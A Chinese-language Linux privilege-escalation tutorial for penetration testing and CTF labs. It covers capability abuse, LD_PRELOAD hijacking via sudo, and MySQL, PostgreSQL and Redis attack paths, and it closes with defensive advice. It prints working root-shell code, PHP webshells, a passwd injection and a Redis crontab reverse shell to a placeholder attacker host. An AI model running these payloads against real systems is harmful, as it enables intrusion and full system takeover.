前言
在渗透测试与CTF竞赛中,权限提升(Privilege Escalation)是获取最终控制权的关键一环。Linux系统的权限模型远不止于 rwx 和 sudo。随着Linux内核安全机制的演进,传统的setuid位逐渐被细粒度的Capabilities所补充;而动态链接器的灵活性则引入了LD_PRELOAD这类环境变量劫持的风险;此外,运行在系统上的数据库服务(如MySQL、PostgreSQL)也常常成为提权的跳板。
本文将深入探讨这三种提权路径,结合Vulnhub靶场(如 pWnOS、FristiLeaks、HackTheBox 相关靶机)中的真实场景,展示从信息收集到漏洞利用的完整链条。
第一章:Linux 权限基础回顾
1.1 传统权限模型的局限
传统的Linux权限依赖于 setuid 位。当一个二进制文件设置了 setuid 位(例如 /bin/su 或 /usr/bin/passwd),普通用户执行该文件时,进程将以文件所有者(通常是root)的身份运行。
问题:
-
非最小权限原则:程序可能只需要绑定一个低于1024的端口,却获得了完全的root权限。
-
风险放大:如果存在缓冲区溢出漏洞,攻击者可以直接获得root shell。
为了解决这个问题,Linux引入了 Capabilities 机制。
1.2 Capabilities 机制概述
Capabilities 将root用户的特权划分为多个独立的小单元。进程可以只拥有其中一项或几项能力,而不必拥有全部root权限。
查看能力:
bash
# 查看进程的能力
cat /proc/1234/status | grep Cap
# 使用 capsh 解码
capsh –decode=0x0000000000001000
常用能力:
-
CAP_SETUID:允许改变UID
-
CAP_SETGID:允许改变GID
-
CAP_DAC_OVERRIDE:绕过文件读写权限检查
-
CAP_NET_BIND_SERVICE:允许绑定到1024以下的端口
-
CAP_SYS_ADMIN:广泛的系统管理能力(近似于root)
-
CAP_SYS_PTRACE:允许追踪任意进程
第二章:Capability 能力提权实战
2.1 查找具有Capabilities的二进制文件
在提权过程中,首要任务是寻找系统中设置了特殊Capability的文件。
命令:
bash
getcap -r / 2>/dev/null
典型输出示例:
text
/usr/bin/ping = cap_net_raw+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/python = cap_setuid+ep
/home/user/testapp = cap_sys_admin+ep
2.2 利用 cap_setuid 提权
如果某个二进制文件(如Python、Perl、Ruby)拥有 cap_setuid+ep 能力,那么它可以直接调用系统调用更改进程的UID。
场景:发现 /usr/bin/python3 具有 cap_setuid+ep。
利用方法:
python
import os
os.setuid(0) # 设置UID为0(root)
os.system("/bin/bash")
保存为 exploit.py 执行:
bash
/usr/bin/python3 exploit.py
结果:得到一个root shell。
原理:虽然Python文件本身不是setuid root,但由于它具有CAP_SETUID能力,其进程可以合法地将自己的UID改为0。内核允许此操作,因为能力检查在进程层面而非文件层面。
2.3 利用 cap_dac_read_search 读取敏感文件
此能力允许进程绕过文件权限检查(如 -rw——-),读取任何文件。
场景:/usr/bin/tar 具有 cap_dac_read_search+ep。
利用方法:
bash
# 使用tar打包shadow文件(通常只有root可读)
tar -cvf /tmp/shadow.tar /etc/shadow
cd /tmp
tar -xvf shadow.tar
cat etc/shadow
进阶:如果Python也具备该能力,可以编写脚本读取任意文件:
python
# 使用cap_dac_read_search能力读取root私钥
with open('/root/.ssh/id_rsa', 'r') as f:
print(f.read())
2.4 利用 cap_sys_admin 挂载提权
CAP_SYS_ADMIN 是一个非常强大的能力,它允许执行挂载文件系统、修改内核参数等操作。
场景:发现 /home/user/mount_tool 具有 cap_sys_admin+ep。
利用思路:通过挂载一个新的文件系统来覆盖 /etc 或 /root 目录。
典型利用:
创建一个普通用户可写的目录。
准备一个自定义的 passwd 文件,生成一个密码为空的root用户(openssl passwd -1 -salt salt password)。
使用该二进制文件将包含自定义 passwd 的目录 bind mount 到 /etc。
bash
# 准备payload目录
mkdir /tmp/mnt
mkdir /tmp/mnt/etc
cp /etc/passwd /tmp/mnt/etc/
# 编辑passwd添加一个root用户
echo "hacker:\\$1\\$salt\\$qCunC9A1fZf7h8H5N5U3l.:0:0::/root:/bin/bash" >> /tmp/mnt/etc/passwd
# 执行mount(假设binary支持mount功能)
/home/user/mount_tool –bind /tmp/mnt/etc /etc
# 切换用户
su hacker
2.5 利用 cap_sys_ptrace 注入进程
拥有 CAP_SYS_PTRACE 的进程可以附加到任何进程(包括root进程)进行调试,从而实现代码注入。
场景:一个监控程序拥有此能力。
利用方法:
编写一个简单的共享库(C代码),在构造函数中启动shell。
使用 ptrace 附加到root进程(如init或cron),将shellcode或共享库注入。
等待进程执行shell。
由于现代系统对 ptrace 有限制(如 ptrace_scope),在实际利用前需确认 cat /proc/sys/kernel/yama/ptrace_scope 的值(0表示无限制)。
第三章:LD_PRELOAD 环境变量劫持
3.1 动态链接器的工作原理
Linux程序在加载时会查找所需的共享库。环境变量 LD_PRELOAD 允许用户指定优先加载的共享库。这是一个强大的功能,可以用于hook系统调用或函数。
安全限制:
-
对于setuid或具有Capabilities的二进制文件,动态链接器会忽略 LD_PRELOAD 等环境变量,以防止权限提升。
-
但是,如果一个程序没有setuid位且没有有效的Capabilities,那么LD_PRELOAD在由普通用户执行时是有效的。
3.2 利用普通用户运行的特权程序
在提权场景中,我们常常会遇到这样的情况:某个普通用户可以通过 sudo 执行特定程序(如 apache2、find、awk),而这个程序本身没有setuid位,但运行时可能需要加载库。
场景:用户 www-data 可以通过 sudo 执行 /usr/bin/openssl 而不需要密码(在 /etc/sudoers 中配置)。
攻击思路:
编写一个恶意共享库,重写 openssl 调用的某个函数(如 exit()),在其中执行 system("/bin/bash")。
设置 LD_PRELOAD 指向该库。
执行 sudo openssl,由于 sudo 环境变量可能被清除,但可以通过 sudo 配置保留或利用 env_keep 选项。
常见绕过:如果 sudo 配置中包含了 env_keep 保留 LD_PRELOAD,则可以直接利用。否则,需要寻找其他方法。
3.3 实战:利用sudo与LD_PRELOAD
靶场场景:用户 user 可以通过 sudo 执行 find 命令,且 sudo 保留了 LD_PRELOAD。
步骤:
编写恶意库 hack.c:
c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
// 构造函数,在库加载时执行
if(geteuid() == 0) { // 确保以root运行
setuid(0);
setgid(0);
system("/bin/bash -p");
}
}
编译为共享库:
bash
gcc -fPIC -shared -o hack.so hack.c -ldl
设置环境变量并执行:
bash
sudo LD_PRELOAD=./hack.so find
原理:find 本身不是root程序,但通过 sudo 运行时,其有效用户ID为0。动态链接器在加载 find 时,由于 sudo 并没有清除 LD_PRELOAD,导致恶意库被优先加载,在 _init 构造函数中获得了root权限。
3.4 针对Capabilities程序的LD_PRELOAD
如前所述,如果二进制文件自身具有Capabilities,动态链接器会清除敏感环境变量。但是,如果攻击者能够强制程序重新执行(如通过 execve)或利用某些程序内部的 system() 调用,仍可能绕过。
第四章:数据库提权向量
数据库服务通常以高权限用户(如 root、mysql)运行,且具备文件读写能力。通过数据库获取shell或提权是常见的路径。
4.1 MySQL / MariaDB 提权
4.1.1 UDF (User Defined Function) 提权
MySQL允许用户创建自定义函数(UDF),这些函数以共享库形式存在,由MySQL进程加载执行。如果MySQL以root权限运行,则UDF中的代码将以root执行。
前提条件:
-
拥有 FILE 权限(通常是root用户)。
-
知道MySQL的数据目录(select @@plugin_dir;)。
-
能够写入文件到插件目录。
利用步骤:
编译UDF共享库:使用开源工具如 sqlmap 中的 lib_mysqludf_sys.so,其中包含 sys_exec() 和 sys_eval() 函数。
写入文件:
sql
SELECT 0x7f454c46… INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
创建函数:
sql
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
执行命令:
sql
SELECT sys_exec('chmod +s /bin/bash');
4.1.2 MySQL 日志写入 WebShell
如果MySQL配置允许写入文件(secure_file_priv 为空),可以直接将Webshell写入Web目录。
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
如果 OUTFILE 被禁用,可以使用 general_log 写入:
sql
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/shell.php';
SELECT '<?php system($_GET["cmd"]); ?>';
SET GLOBAL general_log = 'OFF';
4.2 PostgreSQL 提权
PostgreSQL 同样支持自定义函数,且默认情况下允许使用 COPY 和 libc 函数。
4.2.1 利用 COPY 写入文件
sql
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
4.2.2 利用 C 语言函数执行命令
PostgreSQL 8.3+ 引入了 dblink 和 CREATE FUNCTION 结合 C 语言。
经典提权:
sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE C STRICT;
SELECT system('chmod 777 /tmp');
注意:在现代PostgreSQL中,直接调用 libc.so.6 可能被限制,需寻找自定义编译的共享库。
4.3 Redis 提权
Redis 默认以root运行(如果配置不当),且未设置密码。
利用方法:
写入SSH公钥:
bash
redis-cli -h target
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\\n\\nssh-rsa AAAAB… root\\n\\n"
save
写入Crontab:
bash
config set dir /var/spool/cron/crontabs/
config set dbfilename root
set x "\\n* * * * * /bin/bash -i >& /dev/tcp/attacker/4444 0>&1\\n"
save
第五章:综合提权场景实战(Vulnhub模拟)
5.1 靶场环境描述
假设我们正在攻击一台名为 "BreakOut" 的Vulnhub靶机。已获得低权限用户 user 的shell。
初始信息:
-
操作系统:Ubuntu 20.04
-
用户:user(UID=1000)
-
服务:Apache(www-data)、MySQL(3306开放)、自定义二进制程序 /opt/monitor
5.2 信息收集
首先,我们需要收集提权所需的信息。
bash
# 查看系统信息
uname -a
cat /etc/os-release
# 查看当前用户权限
id
sudo -l
# 查找SUID和Capabilities
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
# 查看运行的进程
ps aux | grep root
# 查看数据库服务
netstat -tlnp
mysql -u root -p # 尝试空密码或弱密码
发现:
/opt/monitor 具有 cap_setuid+ep。
sudo -l 显示用户 user 可以以root身份执行 /usr/bin/mysql。
MySQL root用户密码为空。
5.3 尝试利用 Capability
利用 /opt/monitor:
bash
# 查看monitor文件类型
file /opt/monitor
# 输出: ELF 64-bit executable
# 执行后尝试提权
/opt/monitor
假设该程序提示 "Monitoring started",但没有直接给出shell。我们需要反编译或分析其行为。
分析: 使用 strings /opt/monitor 发现它调用了 setuid() 函数,但没有直接执行shell。我们需要利用其特性。
编写利用脚本: 由于该程序具有 CAP_SETUID,我们可以使用 gdb 或编写一个wrapper。更简单的方法是直接使用Python调用该能力,但这里monitor是独立的。
实际利用:我们可以利用 monitor 调用的子程序或利用环境变量。但在此场景中,我们决定直接利用MySQL。
5.4 利用数据库进行提权
MySQL UDF提权:
登录MySQL:
bash
mysql -u root -p
# 密码为空,直接回车
查看权限和目录:
sql
select user();
select @@plugin_dir;
show variables like 'secure_file_priv';
确认 secure_file_priv 为空,插件目录为 /usr/lib/mysql/plugin/。
编译或获取UDF共享库。在攻击机上编译 udf.so:
bash
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys
gcc -shared -fPIC -o udf.so udf.c
通过MySQL写入UDF:
sql
SELECT LOAD_FILE('/tmp/udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
SELECT sys_exec('chmod +s /bin/bash');
检查 /bin/bash 是否已setuid:
bash
ls -l /bin/bash
# 如果显示 -rwsr-sr-x,则执行 /bin/bash -p 获取root
5.5 利用LD_PRELOAD与sudo数据库
在sudo -l中,我们看到 user 可以以root执行 /usr/bin/mysql。
尝试LD_PRELOAD:
bash
# 编译恶意库
cat > preload.c << EOF
#include <stdio.h>
#include <stdlib.h>
void _init() {
if(geteuid() == 0) {
setuid(0);
system("/bin/bash -p");
}
}
EOF
gcc -fPIC -shared -o preload.so preload.c -ldl
# 执行sudo mysql,并尝试加载
sudo LD_PRELOAD=./preload.so mysql
如果sudo配置保留了LD_PRELOAD,我们将直接获得root shell。
5.6 组合利用:从数据库到系统权限
如果MySQL UDF写入被 secure_file_priv 限制,但我们可以通过MySQL的 system 函数(如果有)直接执行命令。
检查MySQL版本和函数:
sql
select version();
# 如果是5.x且拥有FILE权限,尝试执行系统命令
select sys_exec('id');
如果没有UDF,但MySQL以root运行,我们可以通过写crontab或ssh密钥提权。
写crontab:
sql
SELECT '*/1 * * * * root chmod 777 /tmp/shell' INTO OUTFILE '/etc/cron.d/backup';
第六章:防御与检测
6.1 针对Capability的防御
-
最小化能力:在授予能力时,严格遵循最小权限原则。例如,一个只需要绑定80端口的程序,只应给予 CAP_NET_BIND_SERVICE,而不是 CAP_SETUID。
-
定期审计:使用 getcap -r / 2>/dev/null 定期检查哪些二进制文件具有能力,并评估风险。
-
使用 capsh 限制:在启动脚本中使用 capsh 来丢弃不需要的能力。
6.2 针对LD_PRELOAD的防御
-
清除环境变量:对于任何高权限程序,在调用 execve 前清除 LD_PRELOAD、LD_LIBRARY_PATH 等环境变量。
-
sudo配置:确保 sudo 配置中的 env_reset 为默认开启,除非绝对必要,不要使用 env_keep 保留危险变量。
-
使用 secure-execution:对于setuid程序,内核会自动清除这些变量。
6.3 针对数据库的防御
-
降权运行:MySQL、PostgreSQL等数据库应使用专用用户(如 mysql、postgres)运行,绝不使用root。
-
禁用文件操作:设置 secure_file_priv 为一个空目录或NULL,防止任意文件读写。
-
移除UDF函数:禁用或移除不必要的UDF功能。定期审计数据库中的自定义函数。
-
强密码策略:避免数据库root用户空密码或弱密码。
结语
权限提升是渗透测试中最具挑战性的环节之一。Linux系统的Capability机制虽然提高了安全性,但错误的配置(如将危险能力授予普通程序)反而会成为提权的捷径。LD_PRELOAD劫持则提醒我们,环境变量的管理在高权限执行中至关重要。而数据库作为存储核心,其权限配置的疏忽往往导致整个系统的沦陷。
通过本文的梳理,希望你能掌握以下核心能力:
熟练使用 getcap 和 find 进行提权信息收集。
理解不同Capability的利用场景,尤其是 cap_setuid、cap_dac_read_search 和 cap_sys_admin。
掌握LD_PRELOAD与sudo组合的攻击方式,并能编写简单的恶意共享库。
能够利用数据库(MySQL、PostgreSQL、Redis)的多种提权技术,包括UDF、日志写入、系统命令执行等。
在实际渗透中,往往需要将这些技术结合使用,从低权限用户出发,逐步获取关键信息,最终实现权限提升。






